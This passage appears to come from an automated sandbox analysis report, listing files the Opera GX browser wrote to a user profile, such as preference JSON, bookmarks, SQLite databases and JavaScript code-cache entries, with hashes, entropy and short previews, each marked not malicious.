                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"ab_testing":{"uid":"MDg2YzBhYTItNDZlZi00YmY4LWJjYzYtNDJkOTE1M2IzMzk1"},"autofill":{"ablation_seed":"uBdDUBAoj8c="},"browser":{"remote_flags":"01979299c8cd,13e025f64bd6:disabled,13eeaf851da7,1ad69b007ce5,1c4dddb65bac,1d24dceb937a,278deecb29a1,2c1429a5a72e,3389f6c15eb9,40db6e644d2c:disabled,50796754ffc7,5448a57d6689:disabled,54726ed4401e,56d717ae3ad6,5a28d66c82cd,603cade21cf7,654296fe9d6c,818c3ef12d0b,8511df77ed15,88edd7903398,970fe421a344,9ec4e68ae70a:disabled,b2a2a32b832b,b7751444d14a,b9677b166709:disabled,c25d6d8d2719:disabled,c57119eb4723,c9a44eaecc11,cbc43aa3cfb6,d144067b33ec,d4b5093b464f,e2c9ffba8439,e7de6afa38c4,f17eaee53639,f3834d6657d8,f77fe4682650,fc82980101cd","remote_flags_char_requirements":{"818c3ef12d0b":{"forbidden":["5b3eb4a6c335a0659d16d1a189ca155e4441ea14"],"required":["64336fb81a04836eb8108d24fbca3aa3682db0a5"]}},"remote_flags_guid":"4a730dd9-027f-4e80-b7c8-4f65d87b88c5"},"browserjs":{"version":"1712230920"},"chars":{"list":[]},"component_updater":{"media_foundation

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\9454eeae-3b6c-4840-a25e-8ed4d242403f.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1038)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1086
                                                                                                                                                                                                              Entropy (8bit):5.188560876958457
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:77DE1EF50D45732BFF082C56A32E3126
                                                                                                                                                                                                              SHA1:BE4822A0B36EC233F27FAB35453D6AD116809D79
                                                                                                                                                                                                              SHA-256:A003A846FE586FD295696D12E47BF06456EF31CC62E64BF29EF33E59003811C0
                                                                                                                                                                                                              SHA-512:0A2F486FF48BB9E4AEFC81D4B76A009BDECE23B67247C40645EAA2FFC8CC7887172CE6078EE85F925A62E6ACB9757FD6384EAE4FF785F15183C8444B6DE197C4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// 4a3p0YpxnRjNlWRVMWDbXumduP6H3aYRXUU2I0jh8qU=.{"ABTests":{"Tests":{"DNA-112027":"DNA-112027-gx-mission-widget-off","DNA-99214_GXCTest50":"GXCTest50-ref"}},"InstallType":"Normal","OSPMessageUUID":"812bd06d-b376-4aa4-92bf-99afa98f7a1f","RunType":"FirstRun","UI":{"BookmarkBar":{"PartnerCount":0,"TotalCount":0},"BrowserSidebar":{"Status":{"BookmarksPanel":{"IsDocked":false},"Discord":{"IsDocked":false},"FacebookMessenger":{"IsDocked":false},"GxBooster":{"IsDocked":false},"HistoryPanel":{"IsDocked":false},"Instagram":{"IsDocked":false},"IsDarkSkin":true,"IsVisible":true,"Limiters":{"IsDocked":false},"Player":{"IsDocked":false},"Telegram":{"IsDocked":false},"TikTok":{"IsDocked":false},"Twitter":{"IsDocked":false},"VKontakte":{"IsDocked":false},"Whatsapp":{"IsDocked":false}}},"TabAverageCount":2,"Usage":{"WarnOnClosingMultipleTabs":true}},"UUID":"Missing","Updater":{"Diagnostics":{"Common":{"UpdateRequestsCount":1}}},"consent":{"statistics_collection_enabled":true,"user_experience_metrics_r

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\9888b66d-e2d8-4605-9702-6981af5baf98.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.704628877958289
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:9374F7D51C3CBC263B948849D4080C5D
                                                                                                                                                                                                              SHA1:1498585A3EB8628D6B56BF8AABB89B630E98F710
                                                                                                                                                                                                              SHA-256:20FC33A8CE7AF968631FC009049DB0E0DE51B74F6EA06DBD05134074BCC1FC90
                                                                                                                                                                                                              SHA-512:5A8AF7A0F756398880F4CE82D0158CC639EA7B712FD7F2E863BA7A78F83F0DBC29EEA195CDB8E1F007733838C18DB646B73D7053CA6DB712EF1C2B1F135C27D8
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// 6W4l8bsVgTYehREy10SDX/8oORf6RuhKKEIObr1dniE=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":5}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":5}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":5}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":5}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":5}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":5}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":5}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":5}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\990cb61a-4eda-4f81-9e9c-9cb20ed1fd4d.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (380)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):428
                                                                                                                                                                                                              Entropy (8bit):5.518642507609434
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:13023BDA03BC13BA77376F9F1939A761
                                                                                                                                                                                                              SHA1:A71B4A2F193D281286E5377B7AC26075D2539E1C
                                                                                                                                                                                                              SHA-256:C3736AED2F37CA8F988C58963016F7C9E1587061A50C942000A75D9717AF17D2
                                                                                                                                                                                                              SHA-512:29E8D8A82288FD089C14C7FE62933669FAEBCCF97A3437917FDD146F7FF687CEFBA6A024B2443A8EA26AD32787E652A0B2F93A96347134D54958952A3D0D82DE
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// Aphgo5Bp9cdCa7PryAff7UbumAz2aQWwjmGp394FoOo=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://www.twitch.tv/":{"Q8R0Kod6c9/H+i1tROyMeJm8kyTeZvYyChUrZvAjliY=":{"Impression":1}}}}},"Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1,"StatSendingRequestsCount":1},"Process":{"Retries":1},"ScheduledTask":{"ScheduledTaskAlreadyRunning":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\9b86229b-5627-4ae1-80c3-91a68396e3b0.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (746)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):794
                                                                                                                                                                                                              Entropy (8bit):5.680293152483709
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:14AAD351F76F262F9F87E43CD2D2AB26
                                                                                                                                                                                                              SHA1:AF77A4EB6775CCC3DCBEEB54BC5328C02827402B
                                                                                                                                                                                                              SHA-256:2308BB2746CB0976DD8646E1E362E45970C71999D29A297C783142CCB5BB70EF
                                                                                                                                                                                                              SHA-512:EC6CD5065E615F5E22DF9532E701C4B3869DE89CED3D10479BC3E2E64B3E256537B6953E05E535803ADA4CD294C0639DB242AB352EC9CAB633C703125EFF39CC
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// atZw1lbywsVQXuD0yI/DH0B33mde+XHdBMNHEOBFKJM=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":1}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":1}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":1}},"https://www.twitch.tv/":{"Q8R0Kod6c9/H+i1tROyMeJm8kyTeZvYyChUrZvAjliY=":{"Impression":1}},"https://www.youtube.com/":{"Vr5ejLjQcpErr31xahnJSlXskHfMqZIa1pEIRlhJ35w=":{"Impression":1}}}}},"Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1,"StatSendingRequestsCount":1},"Process":{"Retries":1},"ScheduledTask":{"ScheduledTaskAlreadyRunning":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Affiliation Database

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:SQLite 3.x database, last written using SQLite version 3045002, file counter 5, database pages 13, cookie 0x8, schema 4, UTF-8, version-valid-for 5
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):53248
                                                                                                                                                                                                              Entropy (8bit):0.3988860319126424
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:3A5A1B5681601D04C79F16F740244039
                                                                                                                                                                                                              SHA1:C7C2F00345AD16077DFA5908C2D00A37025DEE30
                                                                                                                                                                                                              SHA-256:5B038CEF519B60BB378CEAAD1EA0A101BE111C74613CBA63FC7F76625B4F72C7
                                                                                                                                                                                                              SHA-512:E8CCB322E60FC7107482D809B0D2CBC81BF76517A2B55FC0B690AB57DA0177B88D7481B7645A200D085AF255BBD469A44289965F06C9D90A4EEC20EE8FA6AFBE
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:SQLite format 3......@ ..........................................................................v..........g.....e...$.y.........H....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Bookmarks (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):19004
                                                                                                                                                                                                              Entropy (8bit):4.566485312657076
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:1B7084A7A35DC408CD3FEDA1BDD7ABFA
                                                                                                                                                                                                              SHA1:6DF92D8716509F4602DF960A03183DE2EFD5D8D5
                                                                                                                                                                                                              SHA-256:F4769AB62A3ED8A6CF5904B5954A0604298ADBB89C202993025E08B1F1A439B0
                                                                                                                                                                                                              SHA-512:D5562598307F8A3CCB1EFCD5CE40B24FAB7E2DBC62DE261479D4EADCF3F26C832B155AF74ADE6F892FCE2A3C022C2640E980A06ABF73954D9712ED3EDD5D2C91
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{.. "checksum": "dfc92d1e8125749d178f26bfd972aa6a",.. "roots": {.. "bookmark_bar": {.. "children": [ ],.. "date_added": "13373282048091764",.. "date_last_used": "0",.. "date_modified": "0",.. "guid": "0bc5d13f-2cba-5d74-951f-3f233fe6c908",.. "id": "1",.. "name": "Bookmarks bar",.. "type": "folder".. },.. "custom_root": {.. "pinboard": {.. "children": [ ],.. "date_added": "13373282048092464",.. "date_last_used": "0",.. "date_modified": "0",.. "guid": "00000000-0000-4000-a000-000000000907",.. "id": "7",.. "name": "Pinboard",.. "type": "folder".. },.. "speedDial": {.. "children": [ {.. "children": [ {.. "date_added": "13373282056556243",.. "date_last_used": "0",.. "guid": "61d90d03-c8a5-47d7-b977-0cfeb2860342",..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\BookmarksExtras (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):561443
                                                                                                                                                                                                              Entropy (8bit):6.000891146862961
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:33A1C320574B2EF7EDEE3B880564C94D
                                                                                                                                                                                                              SHA1:812869656580E3CCF3A43AD03F0092065A758F19
                                                                                                                                                                                                              SHA-256:CF08CF38EC189BB42C16EE42BB8E4DC3E3F642130DE597A51AEC87DAB4A464A6
                                                                                                                                                                                                              SHA-512:D7345B17610A0E136D5EB66A530B8EA115DD9751760558981B7202680809298F0EFA48A464D09F4C664F22A8284D8BB32992818561D904A487D4FDB3B89C8BE4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"243193E47606238EFAC675469C9582BE2BAA9ED0BD4BEB6207EBDFE9BD06CAAF":"iVBORw0KGgoAAAANSUhEUgAAAQgAAACoCAYAAAAcnXClAADtVElEQVR4nIy9d4BmV13//zr3Pn367O5s7ym72fRCKkmAAAEEDCjyBQREmgUFAaWpKCpYERTEAiIIiEAIvScBQnpPdrO9t9mZnT7z1HvP7497yufcZzb+HsjO89x77imf8v6UU666tuczGgUAWoNSgM5+2+sEBexvjUKhtUYpZR7R2bP2OQ0olZUOytmb8qOy+t1PJdrzxZXKWnYNuXq1GIN/tmtMEJT39WZjQYXXsiLZWF1xLTrjBqyRVbo+SBKKomf8KBxdJS3yj7nfOhtJZMek/TO5DvmHtTY/xZizVrNrolzWtqFWF2/tc74vno5CRlxdtu+ir1LGBF2tzNihaDmuReQiu6UcryTPQAeskLwQo/N9zclGXp4trxeX55Aenu4h0wMe58eE+J1r015zNFGLlEeyR8pOKA/K0iXPUzHuKOCLLCSY2fXRWWftADUWY5QAEP+cdmPQpjFBLPlTGVqYQfnOKq+sVlI1oUCa9qLcs1GGKJ5RueEolTWqyZUx/dVWaez3QNK0/yvaULIPZjxSoXy7ghKinFVapVQANMoQIKCsVKZFeKcsUXO0d9+8NJtrOuCechRQpi1RpytnarM89oxytQbCa/kl+Iscs30ub7iUV2FHPMM/B/o5uUwNgNoyksdSST2oCLZieapEf23flR+bM1amVUNryztXp5B1Oz4lVUa2bWXBXnTyZSmuXBlLE2X6qMR/nt5+UEoOUhGOVwfNEMm+uQfsYLV4SiJc/m8egmyHJIFsMak5gvG2gDbPd1sY7RnseKRyAmkUWSCe8xRcf6wSSCvVxT1BjhywCHkJq7agYMTbCpJ2BTxtRL+8vPp7oSUQimIeCKxBwAfbX0FDq/DCg7Dfu5RB4rZVskCpdQ4

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Bookmarks~RF3dd2f7.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):19004
                                                                                                                                                                                                              Entropy (8bit):4.566485312657076
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:1B7084A7A35DC408CD3FEDA1BDD7ABFA
                                                                                                                                                                                                              SHA1:6DF92D8716509F4602DF960A03183DE2EFD5D8D5
                                                                                                                                                                                                              SHA-256:F4769AB62A3ED8A6CF5904B5954A0604298ADBB89C202993025E08B1F1A439B0
                                                                                                                                                                                                              SHA-512:D5562598307F8A3CCB1EFCD5CE40B24FAB7E2DBC62DE261479D4EADCF3F26C832B155AF74ADE6F892FCE2A3C022C2640E980A06ABF73954D9712ED3EDD5D2C91
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{.. "checksum": "dfc92d1e8125749d178f26bfd972aa6a",.. "roots": {.. "bookmark_bar": {.. "children": [ ],.. "date_added": "13373282048091764",.. "date_last_used": "0",.. "date_modified": "0",.. "guid": "0bc5d13f-2cba-5d74-951f-3f233fe6c908",.. "id": "1",.. "name": "Bookmarks bar",.. "type": "folder".. },.. "custom_root": {.. "pinboard": {.. "children": [ ],.. "date_added": "13373282048092464",.. "date_last_used": "0",.. "date_modified": "0",.. "guid": "00000000-0000-4000-a000-000000000907",.. "id": "7",.. "name": "Pinboard",.. "type": "folder".. },.. "speedDial": {.. "children": [ {.. "children": [ {.. "date_added": "13373282056556243",.. "date_last_used": "0",.. "guid": "61d90d03-c8a5-47d7-b977-0cfeb2860342",..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Bookmarks~RF3ddfc8.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):19004
                                                                                                                                                                                                              Entropy (8bit):4.566485312657076
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:1B7084A7A35DC408CD3FEDA1BDD7ABFA
                                                                                                                                                                                                              SHA1:6DF92D8716509F4602DF960A03183DE2EFD5D8D5
                                                                                                                                                                                                              SHA-256:F4769AB62A3ED8A6CF5904B5954A0604298ADBB89C202993025E08B1F1A439B0
                                                                                                                                                                                                              SHA-512:D5562598307F8A3CCB1EFCD5CE40B24FAB7E2DBC62DE261479D4EADCF3F26C832B155AF74ADE6F892FCE2A3C022C2640E980A06ABF73954D9712ED3EDD5D2C91
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{.. "checksum": "dfc92d1e8125749d178f26bfd972aa6a",.. "roots": {.. "bookmark_bar": {.. "children": [ ],.. "date_added": "13373282048091764",.. "date_last_used": "0",.. "date_modified": "0",.. "guid": "0bc5d13f-2cba-5d74-951f-3f233fe6c908",.. "id": "1",.. "name": "Bookmarks bar",.. "type": "folder".. },.. "custom_root": {.. "pinboard": {.. "children": [ ],.. "date_added": "13373282048092464",.. "date_last_used": "0",.. "date_modified": "0",.. "guid": "00000000-0000-4000-a000-000000000907",.. "id": "7",.. "name": "Pinboard",.. "type": "folder".. },.. "speedDial": {.. "children": [ {.. "children": [ {.. "date_added": "13373282056556243",.. "date_last_used": "0",.. "guid": "61d90d03-c8a5-47d7-b977-0cfeb2860342",..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\BrowserEngineData

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3022
                                                                                                                                                                                                              Entropy (8bit):5.854580247391341
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:7A726DD8C83401230DED55C782908CBE
                                                                                                                                                                                                              SHA1:D9C620CD07CD0959A93FEB029EBC946D6E7AF1FE
                                                                                                                                                                                                              SHA-256:B769CEB846921AD55554FA15DF6081C0695F47E290023B6C00A44D0934765729
                                                                                                                                                                                                              SHA-512:B1A0EA356932413ADA7EE38557D62FF0642929E885B8B96AEAC062872354B7DF9EA5E8858209B373FC5D7D09E5CB576B735DCD127E042301DDC9FF887A28D43F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xn6MngeX8Idj2/JkKAR1CGQ+8aG+gcYa06PUNEeXdb40=...........Hb5fda511-8e25-472f-83c2-29ca5f9c3e3a.....d..........10............114.0.5282.93......R.........std-2..OPRGX.Hc6a41b21-e7c3-4223-87fb-99524f3d1fd8....,......................s&...........................E..............................................................................L..........................Y..................................)..............%.........................................................]. ....&.........................C..................~.................Z...............d...........Hc6a41b21-e7c3-4223-87fb-99524f3d1fd8..x.... Blink.WebCodecs.lBrowser.Responsiveness.JankyIntervalsPerThirtySeconds2fBrowserRenderProcessHost.ChildCodeIntegrityFailures`BrowserRenderProcessHost.ChildLaunchFailureCodesXBrowserRenderProcessHost.ChildLaunchFailuresTBrowserRenderProcessHost.DisconnectedAliveVChildProcess.Crashed.UtilityProcessExitCode*ChildProcess.Crashed2(ChildProcess.K

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\01b51a9334a8b4e1_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):6916
                                                                                                                                                                                                              Entropy (8bit):5.693453024137973
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:9D45781F7D5DE4CB9B9F12ABFC3F826E
                                                                                                                                                                                                              SHA1:FF8E4B328BC1D50905380B83DA15F91E2A7310A0
                                                                                                                                                                                                              SHA-256:73D51DF0B9DAD2520574CEAAC5311848A553AA932096421B1ABC0221449DA3C4
                                                                                                                                                                                                              SHA-512:3BBBE049DBF802E9A637B313A018E3C4F6111E33E8A268C9F656101A2A1D149BF0F8D8A39028DCA22CCEA6B3C7657458C3E353D92A5DE28DE3DC35CC62FE893B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......P....E.u...._keyhttps://gxcorner.games/assets/DailyMeme-BYtzcZm6.js .https://gxcorner.games/....s./.........<...z..........na.............0T......`"...........a.......... .y.f...........).........m1C..........L.q.a"........0T`.........Ia.........<..m-.............@......@......@......@......@......@........A....Se.1...............!..6.....A...A...............A.............h....................................I`........`.....$L`.......... R..R.b....../index-DMZ02uhD.js.]`........ R.........../App-Dh0jPV6c.js...]`^.......0R.,N2W/"..../IntersectionObserver-DNzenOzn.js..]`........(R.$r>W....../DailyLayout-BJyJ127i.js...]`........ R..V......../index-Cl97QX7T.js.]`Z.......$R. RU......./strings-arc53U-2.js...]`........ R..n?q....../Daily-B4nyd3Ac.js.]`B...]..L`......Rb........te..`......L`.......].pL`4.... ...D........c................. .D......Rb*!r.....aU..c................. .D......Rb..|7....aH..c........^...b.... .D..A.....c........n...p.... .D........c................. .D.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\07942484fcf758f5_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):316
                                                                                                                                                                                                              Entropy (8bit):5.533767160423078
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:62BB692F9C5B6CC7CF62D9455CA4345E
                                                                                                                                                                                                              SHA1:75F5395E4607FFAEB0C8B759FB1001A12557F657
                                                                                                                                                                                                              SHA-256:58EBF8C561E6A8BFA8AF93DBE60C5E14F2432E4ABED74CDD8C7FA9F16AD61841
                                                                                                                                                                                                              SHA-512:11E0C849A9D04A3A8BB4640AE61517060544E80F1E9AFF76CADBDFC616E77F967A184D9BC725D554608E8888F911E171DA91A8DB0D5A4E59AFAC1E671F7226C1
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m..........U.8k...._keychrome-extension://pdcifnciicbfakdajkbbhphlabjminhg/utils/bandwidth_monitor.js .chrome-extension://pdcifnciicbfakdajkbbhphlabjminhg/.A..Eo..........................@.............].aF....M.h.A{24_s.&0BW...l.c....t./..........M.........%...!qa<.>..B0M.. :.H"YC...I.A..Eo..........L.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\0a16005559f84252_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                                                              Entropy (8bit):5.4472813693501605
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:973666C7988DBE15B3B08409741BA8A5
                                                                                                                                                                                                              SHA1:0CB1E5748F83E5DE5C392A01E08B987292A5D13D
                                                                                                                                                                                                              SHA-256:780FD0D905F0EC4E02F3A651854B33127B49D8A78AF039D945363A95C330080E
                                                                                                                                                                                                              SHA-512:86F4B6628BA49FC307EC5943F0B966C7661B230D241C9B07279587A1D47BA2ED5D548188DAF25C159CB1ACBF244C46A07535128A9CB1CF58370662D97391038C
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m..........@..H...._keychrome-extension://ebongfbmlegepmkkdjlnlmdcmckedlal/touch_communication.js .chrome-extension://ebongfbmlegepmkkdjlnlmdcmckedlal/.A..Eo..........................@.............S....+=:O.p....@o.}^# ...Gt.c....t./..........M........:...7.o.Q}...=..>F&.O#.v.N..A..Eo.......:.L.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\0a88619df46d5443_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8532
                                                                                                                                                                                                              Entropy (8bit):5.741940686449781
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:9D2652D60C2C139F20704046927D6497
                                                                                                                                                                                                              SHA1:ECDE053C5A7E438928AB804A3781CBF1BB204846
                                                                                                                                                                                                              SHA-256:F310357D380265491BF7A2A1492A2A6C5D09D7A012543D059EA51C827543492D
                                                                                                                                                                                                              SHA-512:5D59B53F49663D5B2C25E2C6B5E6597B4DB50768BF55451780C3E3E0B1ABE0C02E19DD14981A4B3CF7C9862EC9951BD7BBDF7B90810B11AB2DFE798FB6375755
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......P...9......._keyhttps://gxcorner.games/assets/locale-en-BtgCDmSA.js .https://gxcorner.games/....s./.........<...z..T.......na` ...........0T..p...`............a.......... .y.f*.......%.).......,.............. .q.a....B.....La........a.........0T.....`..........a..........0.jP....(.4.4...P...H...(...0...`...d.H............d .......n.............0.`......!..........!..!......R...-5....._sentryDebugIds..0Rj..$...29360fa8-9d3c-43fa-98d4-8a7ea77b71a6.<Rm....0...sentry-dbid-29360fa8-9d3c-43fa-98d4-8a7ea77b71a6.$R. &gw....._sentryDebugIdIdentifier..(.............."..Y....q....!...'"..Y....q....!...."..Y....q....!......!...l...../....$/.........5.../......7......5...............`.....(Sd.qA.............f...I`....D.4Se.1...............0......I`........`.....]..L`......A.`......L`........]..A.a.........$..g .........h...h...h...P..,.......H......@Q.<v.."3...https://gxcorner.games/assets/locale-en-BtgCDmSA.js.a........Db........8...D`.......Y.`..........D`.....D]De........@....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\0c71c0b1d9fef73e_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
